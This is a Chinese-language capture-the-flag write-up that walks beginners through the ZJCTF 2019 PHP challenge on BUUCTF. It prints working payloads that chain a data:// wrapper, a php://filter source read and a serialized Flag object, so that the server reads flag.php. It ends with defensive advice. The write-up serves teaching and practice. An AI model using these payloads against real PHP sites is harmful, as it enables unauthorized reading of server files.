新手向:手把手带你复现BUUCTF那道经典的PHP反序列化+文件包含题(ZJCTF 2019)
从零攻破BUUCTF经典PHP反序列化漏洞:ZJCTF 2019实战解析
第一次接触CTF的Web题目时,面对满屏的PHP代码总有种无从下手的感觉。今天我们就以BUUCTF平台上的ZJCTF 2019题目为例,手把手带你体验完整的解题思路。这不是简单的答案复现,而是深入理解每一步背后的原理,让你真正掌握PHP反序列化漏洞的挖掘技巧。
1. 初识题目:代码审计基础
当我们打开题目页面,首先看到的是一段PHP源代码。作为新手,不要被看似复杂的代码吓倒,我们需要像侦探一样逐层分析。这段代码的核心逻辑是接收三个参数: text 、 file 和 password ,每个参数都有特定的过滤条件。
关键代码特征分析 :
isset()检查参数是否存在file_get_contents()读取文件内容preg_match()进行正则表达式过滤unserialize()反序列化操作
提示:在CTF中,看到
unserialize()函数就要立即警惕可能的反序列化漏洞,这是PHP题目中的高频考点。
2. 突破第一关:巧用data协议绕过文件读取
第一关要求 text 参数读取的内容必须包含特定字符串。常规思路是读取服务器上的物理文件,但如何确保文件内容符合要求?这里我们需要了解PHP的伪协议:
?text=data://text/plain,welcome to the zjctf
为什么data协议有效 :
data://允许直接在URL中嵌入数据- 避免了服务器文件系统的依赖
- 可以精确控制文件内容
当题目要求特定字符串时,data协议是最直接的解决方案。如果需要Base64编码:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
3. 第二关的智慧:绕过过滤发现关键线索
通过第一关后,我们遇到正则表达式过滤:
if(preg_match("/flag/", $file)) {
echo "Not now!";
exit();
}
这里直接包含 flag.php 会被拦截。但敏锐的你会注意到代码中提到了 useless.php ,这很可能就是突破口。我们使用php过滤器读取其内容:
file=php://filter/read=convert.base64-encode/resource=useless.php
关键技巧 :
php://filter可以读取文件内容convert.base64-encode确保特殊字符不会破坏输出- 获取的Base64编码内容需要解码分析
解码后我们得到了 useless.php 的源码,里面定义了一个 Flag 类,这为后续的反序列化攻击埋下了伏笔。
4. 反序列化漏洞的构造与利用
在 useless.php 中我们发现了一个关键类:
class Flag {
public $file;
public function __tostring() {
return file_get_contents($this->file);
}
}
这个类的 __tostring 魔术方法会在对象被当作字符串使用时自动调用,而其中直接使用了 file_get_contents 读取 $file 属性。这就是我们的攻击入口!
构造Payload的步骤 :
- 创建Flag类实例
- 设置file属性为"flag.php"
- 序列化这个对象
- 将序列化结果传递给password参数
$flag = new Flag();
$flag->file = "flag.php";
echo serialize($flag);
// 输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
5. 完整攻击链的组装与执行
现在我们已经掌握了所有关键部件,可以组装最终的攻击Payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
执行流程解析 :
text参数通过data协议验证file参数包含useless.php源码password参数触发反序列化- 反序列化的Flag对象在后续处理中被当作字符串使用
__tostring魔术方法执行,读取flag.php内容- flag出现在页面源代码中
6. 防御思路与安全启示
通过这道题目,我们不仅要学会攻击方法,更要理解如何防御:
安全建议 :
- 避免反序列化用户输入
- 使用
json_encode/json_decode替代序列化 - 对魔术方法的使用保持谨慎
- 实施严格的输入过滤
在实际开发中,永远不要相信用户的输入。这道题目虽然简单,但涵盖了Web安全的多个核心概念,是新手进阶的绝佳练习。
更多推荐

所有评论(0)